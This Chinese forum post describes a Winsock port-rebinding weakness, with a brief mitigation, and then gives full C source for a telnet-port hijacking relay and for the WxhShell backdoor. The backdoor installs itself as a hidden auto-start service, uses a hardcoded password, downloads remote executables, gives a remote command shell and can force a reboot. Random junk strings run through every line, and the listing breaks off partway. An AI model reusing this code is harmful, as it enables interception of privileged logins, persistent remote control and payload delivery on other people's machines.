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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4RXF.kJ3=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N)H _4L  
:P1/kYg  
  saddr.sin_family = AF_INET; !tL&Ktoj  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 21\t2<"  
=u^{Jvl[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Sd0y=!Pj=  
7 ,![oY[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :n t\uwh  
!W ,pjW%Y  
  这意味着什么?意味着可以进行如下的攻击: g9F4nExo  
V\(p6:1(6K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wk"\aoX"E  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )5(Ko <"  
$6 A91|ZSQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A_vf3 *q  
NtnKS@Ht  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  IhYTK%^96  
oA1d8*i^E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6%&RDrn  
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  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q:4euhz*  
qr~= S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MJ+]\(  
Q[M?LNE`  
  #include ~ [4oA$[a|  
  #include !U2Wiks  
  #include "uthFE  
  #include    z]J pvw`p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #*|0WaC  
  int main() KW~fW r8  
  { vKvT7Zxc  
  WORD wVersionRequested; EFYyr f@  
  DWORD ret; 2]f"(X4jp  
  WSADATA wsaData; (.DX</f/4  
  BOOL val; H!+T2<F9R  
  SOCKADDR_IN saddr; qAF.i^  
  SOCKADDR_IN scaddr; 9J!@,Zsh  
  int err; GG@&jcp7  
  SOCKET s; *7yu&a8  
  SOCKET sc; JZS#Q\JN  
  int caddsize; %`~? w'  
  HANDLE mt; HYkZMVH{  
  DWORD tid;   -'9sn/  
  wVersionRequested = MAKEWORD( 2, 2 ); ZrA OX'>u9  
  err = WSAStartup( wVersionRequested, &wsaData ); i1kTP9  
  if ( err != 0 ) { u9 yXHf  
  printf("error!WSAStartup failed!\n"); XZk?aik}`  
  return -1; jPjFp35;zb  
  } Td`0;R'<}c  
  saddr.sin_family = AF_INET; dGrm1w  
   [MkXQwY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5ma*&Q8+  
A]FjV~PB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #q5 L4uM9  
  saddr.sin_port = htons(23); @zHTKi`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?+WSYg0  
  { BP7&w d  
  printf("error!socket failed!\n"); y,`SLgBID  
  return -1; {|{;:_.>  
  } Aw$+Ew[8 2  
  val = TRUE; B&L-Lc2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cw"Ou%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s3sPj2e{  
  { / DG  t  
  printf("error!setsockopt failed!\n"); ItD&L ))  
  return -1; ~YRG9TK  
  } oH='\M%+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SxI-pH'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kt2W7.A 5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zI,z<-  
 <BiSx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V| &->9"  
  { A9_} RJ9  
  ret=GetLastError(); !9t,#?!  
  printf("error!bind failed!\n"); WCD)yTg:ES  
  return -1; dt||nF  
  } ZA+w7S3  
  listen(s,2); ^).  
  while(1) K1$   
  { F}~qTF;H  
  caddsize = sizeof(scaddr); Bwl@Muw  
  //接受连接请求 6UKZ0~R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5=_bK^Am  
  if(sc!=INVALID_SOCKET) Tx>V$+al  
  { fSF_O}kLp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gY&WH9sp?9  
  if(mt==NULL) s[bQO1g;*  
  { U8zCV*ag  
  printf("Thread Creat Failed!\n"); )uu(I5St  
  break; +L|x^ B3  
  } b/"gUYo  
  } cq0-D d9^&  
  CloseHandle(mt); ryNe=9p  
  } %<0'xJ%%Q  
  closesocket(s); [\3W_jR  
  WSACleanup(); q ;"/i*+3  
  return 0; 7epil  
  }   UZpQ%~/  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3 <)+)n  
  { 8b!xMFF"  
  SOCKET ss = (SOCKET)lpParam; m6uFmU*<M}  
  SOCKET sc; *#9?9SYSk  
  unsigned char buf[4096]; UC_o;  
  SOCKADDR_IN saddr; Ggry,3X3  
  long num; JNv@MJb}  
  DWORD val; "`NAg  
  DWORD ret; ]P/i}R:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #>M^BOR8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K7X*N  
  saddr.sin_family = AF_INET; 2m^qXE$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eLIZ<zzW0}  
  saddr.sin_port = htons(23); 2<9&OL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !dq$qUl/  
  { *ze,X~8-  
  printf("error!socket failed!\n"); V|G*9^Y  
  return -1; 3rBID  
  } <JIqkGeAi  
  val = 100; $R%tD.d3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1 -$+@Xl  
  { }kG>6_p?  
  ret = GetLastError(); Rl&nR$#  
  return -1; tOX -vQ  
  } tA]u=-_h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T+q5~~\d  
  { %l?*w~x  
  ret = GetLastError(); $*`E;}S0  
  return -1; &NOCRabc  
  } @?>5~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  W_6gV  
  { %l,CJd5  
  printf("error!socket connect failed!\n"); 7K ~)7U  
  closesocket(sc); Hy5 6@jW+E  
  closesocket(ss); 6LrI,d  
  return -1; *R}p9;dpO  
  } ]ddH>y&o  
  while(1) V-3;7  
  { Cp+tcrd_s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0{ _6le]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'P*OzZ4>$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A'$>~Ev  
  num = recv(ss,buf,4096,0); znDpg{U(  
  if(num>0) Jd~Mq9(  
  send(sc,buf,num,0); jGoQXiX  
  else if(num==0) \x:} |   
  break; H_,4N_hL  
  num = recv(sc,buf,4096,0); B2Rpd &[  
  if(num>0) fw VI%0C@  
  send(ss,buf,num,0); "!_vQ^y  
  else if(num==0) R;pIi/yDRe  
  break; BNe>Lko  
  } ~^'WHuz Py  
  closesocket(ss); ?gBFfi  
  closesocket(sc); ~k%XW$cV  
  return 0 ; /;vHAtt;f  
  } -BSO$'{7  
b6xz\zCL  
K:A:3~I!NW  
========================================================== 9kwiG7V1  
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下边附上一个代码,,WXhSHELL f|ERZN`uB  
>6Jz=N,  
========================================================== %mIdQQ,  
u@P1`E1Q  
#include "stdafx.h" 4T$DQK@e  
&bGf{P*Da  
#include <stdio.h> d,o*{sM5d  
#include <string.h> 7kITssVHI  
#include <windows.h> )?I*zc  
#include <winsock2.h> P,b&F  
#include <winsvc.h> .4l cES~  
#include <urlmon.h> ;VEKrVD  
< 2fy(9y  
#pragma comment (lib, "Ws2_32.lib") Yg}b%u,Q  
#pragma comment (lib, "urlmon.lib") o^'QGs "  
;.<HpDfG_  
#define MAX_USER   100 // 最大客户端连接数 ZmycK:f  
#define BUF_SOCK   200 // sock buffer Jz*A!Li  
#define KEY_BUFF   255 // 输入 buffer cj^hwtx   
xj9xUun  
#define REBOOT     0   // 重启 *K& $9fah  
#define SHUTDOWN   1   // 关机 F(ZczwvR  
>^IUS8v  
#define DEF_PORT   5000 // 监听端口 OG_v[  C5  
{;m|\652B  
#define REG_LEN     16   // 注册表键长度 of GoaH*h  
#define SVC_LEN     80   // NT服务名长度 52NI{"  
J qmL|S)  
// 从dll定义API wCV~9JTJ!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u?rX:KkS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fdHFSnQ g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~]`U)Aw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d(:I~m  
m>3\1`ZF~<  
// wxhshell配置信息 o?c NH  
struct WSCFG { vR>GE? s6  
  int ws_port;         // 监听端口 lauq(aD_C  
  char ws_passstr[REG_LEN]; // 口令 u#`51Hr$  
  int ws_autoins;       // 安装标记, 1=yes 0=no <>Ha<4A =E  
  char ws_regname[REG_LEN]; // 注册表键名 =(Y0wZP|  
  char ws_svcname[REG_LEN]; // 服务名 jW4>WDN:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5y] %Cu1.u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MttFB;Tp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %mD{rG9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gd'_X D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K r<UPr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 us8HXvvp{  
d{7)_Sbky  
}; +WKN&@  
KfPgj  
// default Wxhshell configuration y&eU\>M  
struct WSCFG wscfg={DEF_PORT, UR S=1+  
    "xuhuanlingzhe", rQ6>*0xL_  
    1, Pp_? z0M  
    "Wxhshell", Ra6}<o  
    "Wxhshell", rZ)7(0BBs  
            "WxhShell Service", )D)4=LJ  
    "Wrsky Windows CmdShell Service", {t.S_|IE  
    "Please Input Your Password: ", (uy\~Zb  
  1, A0,e3gb  
  "http://www.wrsky.com/wxhshell.exe", _ b</ ::Tp  
  "Wxhshell.exe" XX "3.zW  
    }; Sqyju3Yp  
Eau V  
// 消息定义模块 +?[s"(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )>^Ge9d]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]"htOO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \ rg;xZa5  
char *msg_ws_ext="\n\rExit."; ?<5KLvGv  
char *msg_ws_end="\n\rQuit."; QAMcI:5  
char *msg_ws_boot="\n\rReboot..."; 1_]%,  
char *msg_ws_poff="\n\rShutdown..."; TJ>1?W\Z  
char *msg_ws_down="\n\rSave to "; baL<|& c  
=P_ *.SgR  
char *msg_ws_err="\n\rErr!"; Sfp-ns32%A  
char *msg_ws_ok="\n\rOK!"; y+V>,W)r7  
_^ic@h3'X~  
char ExeFile[MAX_PATH]; rY&#g%B6Fp  
int nUser = 0; (ip3{d{CT]  
HANDLE handles[MAX_USER]; pp{GaCi  
int OsIsNt; 3`RI[%AN~  
*65~qAd  
SERVICE_STATUS       serviceStatus; ( z F_<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \hb$v  
Ts|;5ya5m  
// 函数声明 83p8:C.Ze  
int Install(void); F1L[C4'  
int Uninstall(void); &&m1_K  
int DownloadFile(char *sURL, SOCKET wsh); )K`tnb.Pf  
int Boot(int flag); Pj_DI)^  
void HideProc(void); f^F"e'1  
int GetOsVer(void); !R#PJH/TM  
int Wxhshell(SOCKET wsl); sIl&\g<b  
void TalkWithClient(void *cs); h(3-/4  
int CmdShell(SOCKET sock); 4L4u<  
int StartFromService(void); ne3t|JZ  
int StartWxhshell(LPSTR lpCmdLine); l Ft&cy2  
tp }Bz&V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wlslG^^(!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AAKc8 {  
,^ dpn  
// 数据结构和表定义 \" m&WFm  
SERVICE_TABLE_ENTRY DispatchTable[] = Nez '1  
{ x{GFCy7  
{wscfg.ws_svcname, NTServiceMain}, so| U&`G  
{NULL, NULL} <X5ge>.  
}; $fT#Wva-\d  
,t9CP  
// 自我安装 %nE%^Enw  
int Install(void) <]|!quY<*  
{ yX%> %#$  
  char svExeFile[MAX_PATH]; 8<KC-|y.  
  HKEY key; Ol>/^3 a=  
  strcpy(svExeFile,ExeFile); \5=4!Ez  
C@-cLk  
// 如果是win9x系统,修改注册表设为自启动 ^P A|RFP  
if(!OsIsNt) { hst Ge>f[6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r>PKl'IbE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )KkV<$  
  RegCloseKey(key); <1:I[b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L'"c;FF02i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x&m(h1h  
  RegCloseKey(key); $(08!U  
  return 0; mv`b3 $  
    } nPl,qcyY  
  } U!RIeC  
} a5d_= :S ;  
else { TV0Y{x*~iH  
PGVp1TQ  
// 如果是NT以上系统,安装为系统服务 oR7f3';?6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  Bs>S2]  
if (schSCManager!=0) PlgpH'z4$  
{ f8UO`*O  
  SC_HANDLE schService = CreateService sqjDh  
  ( huR ^l  
  schSCManager, N+H[Y4c?F&  
  wscfg.ws_svcname, *A")A.R  
  wscfg.ws_svcdisp, 9;`hJ!r  
  SERVICE_ALL_ACCESS, XaoVv2=G~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %\)AT"  
  SERVICE_AUTO_START, }g|9P SbJ  
  SERVICE_ERROR_NORMAL, / T_v8 {D  
  svExeFile, O`N,aYo  
  NULL, O#>,vf$  
  NULL, :!fY;c?  
  NULL, 1]A\@(  
  NULL, G Uh<AG*+  
  NULL V%C'@m(/SZ  
  ); >fkV65w{*  
  if (schService!=0) %zDi|WZ  
  { 6@FxPi9|#  
  CloseServiceHandle(schService); s&wm^R  
  CloseServiceHandle(schSCManager); hAP2DeT$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6{g&9~V  
  strcat(svExeFile,wscfg.ws_svcname); D4$"02"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WU.eeiX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l <Z7bo  
  RegCloseKey(key); r&:yZN  
  return 0; 62G %.'7  
    } RQ#9[6w!v  
  } iV\*7  
  CloseServiceHandle(schSCManager); Gf9O\wrs  
} W3^^aD-  
} o"A?Aq  
Fta=yH }  
return 1; o>m*e7l,  
} U9 Q[K`  
*7#5pT~  
// 自我卸载 f'qM?GlET  
int Uninstall(void) lR`.V0xA   
{  /7Q9(}  
  HKEY key; uBC#4cX`D*  
1Vz3N/AP%?  
if(!OsIsNt) { {?A/1q4rr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8)83j6VF  
  RegDeleteValue(key,wscfg.ws_regname); ^?A>)?Sq  
  RegCloseKey(key); gd]_OY7L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N f}ZG  
  RegDeleteValue(key,wscfg.ws_regname); P86wRq  
  RegCloseKey(key); vAOThj)  
  return 0; Wkr31Du\K  
  } Vy c  
} qS ggZ0*  
} %;Z_`W  
else { A,7* 52U  
.hoVy*I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hVJ}EF 0  
if (schSCManager!=0) d4A:XNKB  
{ 4CS$%Cu\?w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0fV}n:4Pq  
  if (schService!=0) ?f!&M  
  { e. E$Ej]w  
  if(DeleteService(schService)!=0) { zcio\P=^|B  
  CloseServiceHandle(schService); `nc=@" 1  
  CloseServiceHandle(schSCManager); n*#HokX  
  return 0; _U,Hi?b"$}  
  } t+,2 p|B  
  CloseServiceHandle(schService); }b{7+ + Ah  
  } +]~}kvk:  
  CloseServiceHandle(schSCManager); hxw6^EA  
} %xp 69  
} ?]+! gz1  
@Yw42`> !s  
return 1; e{^lD.E  
} '?3(&  
y7'9KQ  
// 从指定url下载文件 uNqN &7g  
int DownloadFile(char *sURL, SOCKET wsh) <^ratz!-  
{ ItZ*$I1<  
  HRESULT hr; gXY]NWI  
char seps[]= "/"; SR<W3a\  
char *token; .5A .[ZY)  
char *file; C0ORB p  
char myURL[MAX_PATH]; A+fXt`YNM  
char myFILE[MAX_PATH]; %"|W qxv  
!|mzu1S  
strcpy(myURL,sURL); "wxyY^"  
  token=strtok(myURL,seps); e Dpt1  
  while(token!=NULL) H#T&7X_<  
  { WP^wNi ~>  
    file=token; v[jg|s&6"  
  token=strtok(NULL,seps); 3wPUP+)c7  
  } &,\my-4c>  
wzY{ii  
GetCurrentDirectory(MAX_PATH,myFILE); 1>umf~%Wa  
strcat(myFILE, "\\"); [LV>z  
strcat(myFILE, file); vSCJ xSt#e  
  send(wsh,myFILE,strlen(myFILE),0); 8LY^>.  
send(wsh,"...",3,0); )d{fDwrx1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [<jU$93E  
  if(hr==S_OK) Yq{R*HO  
return 0; 8RS@YO  
else UI~hB4V$]  
return 1; 0])[\O`j  
8}Q 2!,9Q  
} bH%d*  
S2#@j#\  
// 系统电源模块 aeEio;G1  
int Boot(int flag) '<6DLtZl  
{ [88PCA:  
  HANDLE hToken; 02YmV%  
  TOKEN_PRIVILEGES tkp; $Xs`'>,"  
YmHu8H_Q  
  if(OsIsNt) { Bt(nm> Ng  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sb}=j;F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Kv ajk~  
    tkp.PrivilegeCount = 1; \Y6r !D9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6yC4rX!a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RQ8;_)%  
if(flag==REBOOT) { Lx| 0G $  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .F/s (  
  return 0; %kP=VUXj  
} F><ficT  
else { CbOCL~ "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ian+0 ?`e  
  return 0; yIWgC[  
} w/9%C(w6  
  } K.b :ae^k  
  else { j?\z5i""f  
if(flag==REBOOT) { NC sem  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #1WCSLvtV  
  return 0; E9' 2_e  
} z00,Vr^m  
else { {=;<1PykLb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8/lgM'Eux  
  return 0; :*YnH&  
} n(sseQ|\  
} \Qf2:[-V0  
W< $!H V$  
return 1; s? 2ikJq  
} :BB=E'293  
yl0;Jx?  
// win9x进程隐藏模块 HI, `O  
void HideProc(void) ryb81.|  
{ F(Je$c/J|~  
N686~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2AEVBkF;M  
  if ( hKernel != NULL ) ZzxWKIE'c  
  { eYevj[c;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YdN]Tqc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gJ^taUE  
    FreeLibrary(hKernel); 4zZ.v"laVM  
  } x~](d8*=  
Vd'=Fe;eB  
return; Xv+,Z<>iQ  
} QZuKM'D+  
h05<1>?|  
// 获取操作系统版本 20I/En  
int GetOsVer(void) e`Co ='  
{ Of}C.N8  
  OSVERSIONINFO winfo; RrdLh z2N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OP\L  
  GetVersionEx(&winfo); $oPc,zS-gL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )4> 7X)j>  
  return 1; ARG8\qU  
  else S 8)!70  
  return 0; yI^7sf7k  
} R*2F)e\|  
<~S]jtL.j:  
// 客户端句柄模块 ~YByyJG   
int Wxhshell(SOCKET wsl) hD4>mpk  
{ Ys|SacWC  
  SOCKET wsh; rinTB|5  
  struct sockaddr_in client; WQbjq}RfI  
  DWORD myID; \[]?9Z=n  
G,<l}(tEG  
  while(nUser<MAX_USER) Z*-a=u%gl'  
{ S)/548=`  
  int nSize=sizeof(client); jmcys _N3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _]{LjJ!M  
  if(wsh==INVALID_SOCKET) return 1; (H\ `/%Bp  
hDQk z qW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $VhY"<  
if(handles[nUser]==0) 5>ktr)]  
  closesocket(wsh); F!p;]B  
else t0Jqr)9}6  
  nUser++; ?Iq{6O>D.  
  } 6YV"H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N(2M  w:}  
%F^,6y  
  return 0;  +cKOIMu9  
} (/s~L*gF{  
be$']}cP  
// 关闭 socket 9A/bA|$  
void CloseIt(SOCKET wsh) 9%bErMHL  
{ *LuR o  
closesocket(wsh); 4C ;y2`C  
nUser--; 9,JWi{lIv  
ExitThread(0); G*jq5_6  
} +L@\/=;G  
L27WDm^)  
// 客户端请求句柄 ) .KMZ]  
void TalkWithClient(void *cs) ia3!&rZ  
{ rm-;Z<  
).A9>^6?{  
  SOCKET wsh=(SOCKET)cs; @th94tk,  
  char pwd[SVC_LEN]; :8HVq*itS  
  char cmd[KEY_BUFF]; [rL 8L6,!  
char chr[1]; D@:'*Z(  
int i,j; _pDfPLlY&  
u?H.Z  
  while (nUser < MAX_USER) { U3` ?Z`i(  
Eggu-i(rD  
if(wscfg.ws_passstr) { Pn6~66a6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ob}XeN(L3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L u'<4 R  
  //ZeroMemory(pwd,KEY_BUFF); B*w]yL(  
      i=0; ),[@NK&=  
  while(i<SVC_LEN) { `xx3JQv[  
5&O%0`t  
  // 设置超时 Y=g]\%-PB  
  fd_set FdRead; h=JW^\?\]  
  struct timeval TimeOut; >5?:iaq z  
  FD_ZERO(&FdRead); 7[UD;&\k  
  FD_SET(wsh,&FdRead); q ]VB}nO  
  TimeOut.tv_sec=8; gNc;P[  
  TimeOut.tv_usec=0; gS@<sO$d>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y.6/x?Qc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z0<s -eN:  
w=a$]`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I)s_f5'  
  pwd=chr[0]; )Y9\>Xj7  
  if(chr[0]==0xd || chr[0]==0xa) { </1]eDnU  
  pwd=0; d>F.C>  
  break; )!caOGvhJ  
  } r-*6# "  
  i++; GN:|b2 "  
    } t`R{N1  
^!0z+M:>^  
  // 如果是非法用户,关闭 socket  m l@% H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V|[NL4  
} +|7N89l  
+!!G0Zj/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "tK|/R+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3,X8 5`v^  
2eA.04F  
while(1) { 3D1y^I  
x5V))~Ou  
  ZeroMemory(cmd,KEY_BUFF); 6,MQT,F  
C&R U  
      // 自动支持客户端 telnet标准   oveK;\7/m  
  j=0; 9q 2 vT^  
  while(j<KEY_BUFF) { *Ms"{+C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IkjJqz  
  cmd[j]=chr[0]; 6x=w-32+ y  
  if(chr[0]==0xa || chr[0]==0xd) { zSU,le  
  cmd[j]=0; oif|X7H;  
  break; :K"~PrHm  
  } ~fb#/%SV  
  j++; ZoSyc--Bv  
    } :FfEjNil  
f}p`<z   
  // 下载文件 &/ED.K  
  if(strstr(cmd,"http://")) { 2|d^#8)ZC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F&m9G >r  
  if(DownloadFile(cmd,wsh)) WSN^iDS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0NKgtH~+  
  else sR[!6[AA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0@{0#W3R  
  } @rDBK] V  
  else { *|<~IQg  
wfpl]d!  
    switch(cmd[0]) { 'GX x|.  
  zy nX9t  
  // 帮助 `j9\]50Z>  
  case '?': { sQ,xTWdj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lX)AbK]nb  
    break; k?TZY|_  
  } \AH5 zdK  
  // 安装  _cj=}!I  
  case 'i': { hliO/3g  
    if(Install()) c$^v~lQS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1X5Yp|Ho  
    else NsSZ?ky  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l|E4 7@#  
    break; >]ZE<.  
    } P}UxA!  
  // 卸载 H9_iTGBQ  
  case 'r': { 2f@Cy+W'[  
    if(Uninstall()) *78c2`)[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m- ibS:  
    else UZrEFpi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O(!; 7v}  
    break; h6^|f%\w*i  
    } sgGA0af  
  // 显示 wxhshell 所在路径 mH0OW  
  case 'p': { W=w]`'  
    char svExeFile[MAX_PATH]; saQs<1  
    strcpy(svExeFile,"\n\r"); Q"nw.FjUG  
      strcat(svExeFile,ExeFile); YG8V\4 SQ  
        send(wsh,svExeFile,strlen(svExeFile),0); I`rN+c:  
    break; \Cj3jg  
    } )lJAMZ 5xp  
  // 重启 6 U[VoUU   
  case 'b': { j BBl{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -]Su+/3(,  
    if(Boot(REBOOT)) r|DIf28MIq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  C=@4U}  
    else { (=;'>*L(  
    closesocket(wsh); +xO3<u  
    ExitThread(0); w0oTV;yh  
    } CEaAtAM  
    break; 8Q$WwiS  
    } f!R7v|j P  
  // 关机 %;v~MC @  
  case 'd': { l9="ccM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *AQ3RA8  
